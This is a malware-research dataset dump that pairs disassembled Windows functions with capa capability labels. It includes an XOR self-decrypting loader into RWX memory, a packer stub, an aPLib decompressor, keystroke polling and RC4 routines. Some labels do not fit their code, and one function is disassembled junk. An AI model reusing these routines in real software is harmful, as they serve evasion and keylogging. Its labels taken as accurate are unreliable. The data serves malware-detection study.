joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f7fe0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push 0x40
push 0x1000
push 0xfcf9a
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], 0x4b2e90
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x54], 0xe6ae1e2b
mov dword [ebp - 0x2c], 0x4888a06e
mov dword [ebp - 0x90], 0xe378c150
mov ecx, dword [ebp - 0xc0]
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x12c]
sub edx, 0x14
mov dword [ebp - 0x12c], edx
cmp dword [ebp - 0x12c], 0x78
ja case.0x4f8057.1
mov eax, dword [ebp - 0x12c]
movzx ecx, byte [eax + 0x4f818c]
jmp dword [ecx*4 + 0x4f8174]
mov edx, dword [ebp - 0x78]
add edx, dword [ebp - 0x90]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x6c], edx
jmp 0x4f80b9
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 4], eax
jmp 0x4f80b9
movzx ecx, byte [ebp - 0xee]
add ecx, dword [ebp - 0x4c]
movzx edx, word [ebp - 0xa4]
add ecx, edx
mov dword [ebp - 0x28], ecx
jmp 0x4f80b9
mov eax, 0x55
mov word [ebp - 0xc4], ax
jmp 0x4f80b9
mov ecx, 0xbf
sub ecx, dword [ebp - 0xbc]
mov dword [ebp - 0xe0], ecx
jmp 0x4f80b9
mov edx, dword [ebp - 0x2c]
add edx, 0x6f
mov byte [ebp - 0x22], dl
mov dword [ebp - 0x4c], 0x950bad3f
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
mov dword [ebp - 0x68], 0
jmp 0x4f80de
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
cmp dword [ebp - 0x68], 0x152a
jae 0x4f815d
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x54], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueEx]
mov eax, dword [ebp - 0x2c]
xor eax, dword [ebp - 0x90]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x4c]
add edx, dword [ebp - 0x54]
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x90], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x78]
mov eax, dword [edx + ecx*4]
xor eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x7c]
mov dword [edx + ecx*4], eax
jmp 0x4f80d5
push 0
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov eax, dword [ebp - 0x7c]
add eax, 0x3a00
mov esp, ebp
pop ebp
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x60444cae
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0xcd4b8b
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x1000294e
Capabilities:
Encode data using xor

Disassembly:
ror dword [0x2507c52c], 1
leave
fistp dword [ecx - 0x781336cd]
packssdw mm4, qword [edx]
jge 0x1000295e
inc edi
mov edi, 0x7d049e16
out 0xf8, al
mov al, byte ds:[0x986220d0]
and ah, byte [edi]
jg 0x100029da
pop eax
mov ebx, 0x43367173
or esp, dword [ebx + 0x1d]
pop edi
mov ebx, 0x72c907b3
ret
mov ecx, 0x284fcb81
test byte [edi - 0x4eb9b6e8], ah
adc ebp, dword [ebp + ebx*4 + 0x66]
xchg esp, eax
invalid
Function at 0x6eb06058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.6eb061a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x6eb0607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x6eb0606a
add dl, dl
jne 0x6eb06089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x6eb060dc
xor eax, eax
add dl, dl
jne 0x6eb06096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x6eb0617d
add dl, dl
jne 0x6eb060a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6eb060b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6eb060bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6eb060c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x6eb060d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x6eb06075
mov eax, 1
add dl, dl
jne 0x6eb060ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6eb060f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x6eb060e1
sub eax, ebx
mov ebx, 1
jne 0x6eb06128
mov ecx, 1
add dl, dl
jne 0x6eb0610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x6eb06119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x6eb06105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x6eb06075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x6eb0613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x6eb0614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x6eb06136
cmp eax, 0x7d00
jae 0x6eb0616d
cmp eax, 0x500
jb 0x6eb06168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x6eb06075
cmp eax, 0x7f
ja 0x6eb06170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x6eb06075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x6eb0619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x6eb06075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40d9d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48a78b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047f3e9
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40da52
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0047d12b
mov eax, dword [eax]
push 0x591cc4
push eax
call fcn.0046f0d4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0047f674
test bl, bl
je 0x40da52
push 0x591cc4
lea ecx, [esp + 0xc]
call fcn.0047fa04
push 0x591cd0
lea ecx, [esp + 0xc]
call fcn.0047fa04
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40da8e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0047f674
jmp 0x40db59
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40db12
lea edx, [esp + 0x7c]
push 0x591ccc
push edx
call fcn.0046f0d4
add esp, 8
test eax, eax
je 0x40db12
lea eax, [esp + 0x7c]
push 0x591cc8
push eax
call fcn.0046f0d4
add esp, 8
test eax, eax
je 0x40db12
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40daa2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0047f674
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40e350
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40e3b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40e3c0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x48a80b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x59f980]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40e4f8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40e426
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047f674
xor eax, eax
jmp 0x40e56f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0047f7b1
push esi
lea ecx, [esp + 0xc]
call fcn.0047fa40
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40e54d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040e350
test eax, eax
jne 0x40e54d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040e350
test eax, eax
jne 0x40e54d
lea eax, [esp + 0x14]
push 0x591ce0
push eax
call fcn.004701b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e52c
lea ecx, [esp + 0x14]
push 0x591cdc
push ecx
call fcn.00470130
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e52c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40e52f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0047f761
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40e43e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047f674
xor eax, eax
jmp 0x40e56f
mov byte [esi], 0
push 0x591cd8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0047f674
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41f130
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41f19e
cmp si, 0x69
ja 0x41f19e
add esi, 0xffd0
cmp si, 0x11
je 0x41f16e
push 0x11
call edi
test ax, ax
jge 0x41f16e
or esi, 0x2000
cmp si, 0x10
je 0x41f183
push 0x10
call edi
test ax, ax
jge 0x41f183
or esi, 0x4000
cmp si, 0x12
je 0x41f198
push 0x12
call edi
test ax, ax
jge 0x41f198
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41f1ab
mov esi, 0xbd
jmp 0x41f15f
cmp si, 0x6e
jne 0x41f1b8
mov esi, 0xbe
jmp 0x41f15f
cmp si, 0x6f
jne 0x41f159
mov esi, 0xbf
jmp 0x41f15f

Function at 0x420a40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5b0178]
xor edx, edx
cmp eax, edx
jne 0x420a66
xor eax, eax
mov byte [eax + 0x5b0078], al
inc eax
cmp eax, 0x100
jl 0x420a4e
mov dword [0x5b0178], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5b0078
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x420af7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x420aca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x420a98
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x420b70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x420bc3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x420baa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427c10
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x427da8
cmp ebp, ebx
jle 0x427da8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x427c6e
dec eax
or eax, 0xfffffff8
inc eax
je 0x427c75
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x427c84
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x427c8b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0047f3b5
add esp, 4
cmp eax, ebx
je 0x427cac
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0047f3b5
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x427d9e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x427d85
mov al, byte [edx]
cmp al, 0xc0
jbe 0x427d71
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x427d66
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x427d74
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x427d74
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x427d10
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x427d01
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x42b0d0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x48beb8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x42b109
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00486d62
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00486dae
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0042b190
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00486deb
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x42f7e0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x48c6e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.00430360
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x42f889
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.0042f470
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.00486013
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.00446480
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.00486085
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
Function at 0x42fdc0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x48c710
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push ebx
push esi
push edi
mov esi, ecx
call fcn.0042d900
mov ebx, eax
test ebx, ebx
mov dword [esp + 0xc], ebx
jne 0x42fe19
mov eax, dword [esp + 0x68]
xor ecx, ecx
mov ebx, eax
xor edx, edx
xor esi, esi
xor edi, edi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4c]
mov dword fs:[0], ecx
add esp, 0x58
ret 0xc
push ebp
mov ecx, ebx
call fcn.0042ac80
mov ebp, dword [esp + 0x70]
mov edi, eax
add edi, ebp
mov ecx, ebx
mov dword [esp + 0x28], edi
call fcn.0042ac70
mov edx, dword [esp + 0x74]
mov ecx, esi
add eax, edx
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x20]
push eax
call fcn.0042f470
mov ebp, dword [eax]
lea edx, [esp + 0x38]
push edx
mov ecx, dword [eax + 4]
mov eax, dword [esi + 0x1c]
push eax
mov dword [esp + 0x24], ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x4c]
call fcn.00486013
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], 0
call fcn.00446480
add esp, 0xc
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x18]
call fcn.0042d320
mov eax, dword [esp + 0x50]
lea edx, [esp + 0x38]
push 2
push edx
push eax
mov byte [esp + 0x70], 1
call dword [sym.imp.GDI32.dll_DPtoLP]
mov ecx, ebx
call fcn.0042abf0
mov ebx, eax
mov eax, edi
cmp eax, ebx
jge 0x42fee4
push edi
mov ecx, esi
call fcn.0042d430
push eax
push ebp
mov ecx, esi
call fcn.0042d5f0
cmp eax, dword [esp + 0x40]
jg 0x42fee0
inc edi
mov ebp, eax
cmp edi, ebx
jl 0x42febe
mov eax, ebx
jmp 0x42feea
cmp edi, ebx
jl 0x42fee8
mov eax, ebx
jmp 0x42feea
mov eax, edi
lea ecx, [eax - 1]
mov eax, dword [esp + 0x28]
cmp eax, ecx
jle 0x42fefb
mov dword [esp + 0x30], eax
jmp 0x42ff06
cmp edi, ebx
jl 0x42ff01
mov edi, ebx
dec edi
mov dword [esp + 0x30], edi
mov ecx, dword [esp + 0x10]
mov ebx, dword [esp + 0x1c]
call fcn.0042abb0
mov ebp, eax
mov eax, dword [esp + 0x2c]
cmp eax, ebp
mov edi, eax
jge 0x42ff4d
push edi
mov ecx, esi
call fcn.0042d350
push eax
push ebx
mov ecx, esi
call fcn.0042d720
cmp eax, dword [esp + 0x44]
jg 0x42ff45
inc edi
mov ebx, eax
cmp edi, ebp
jl 0x42ff1f
mov eax, dword [esp + 0x2c]
mov ecx, ebp
jmp 0x42ff57
cmp edi, ebp
jl 0x42ff51
mov eax, dword [esp + 0x2c]
mov ecx, ebp
jmp 0x42ff57
mov eax, dword [esp + 0x2c]
mov ecx, edi
dec ecx
cmp eax, ecx
jle 0x42ff60
mov ecx, eax
jmp 0x42ff69
cmp edi, ebp
jl 0x42ff66
mov edi, ebp
lea ecx, [edi - 1]
mov esi, dword [esp + 0x6c]
mov edi, dword [esp + 0x28]
mov edx, esi
mov dword [edx], edi
mov dword [edx + 4], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x14]
call fcn.0042d340
lea ecx, [esp + 0x48]
mov dword [esp + 0x64], 0xffffffff
call fcn.00486085
mov ecx, dword [esp + 0x5c]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x58
ret 0xc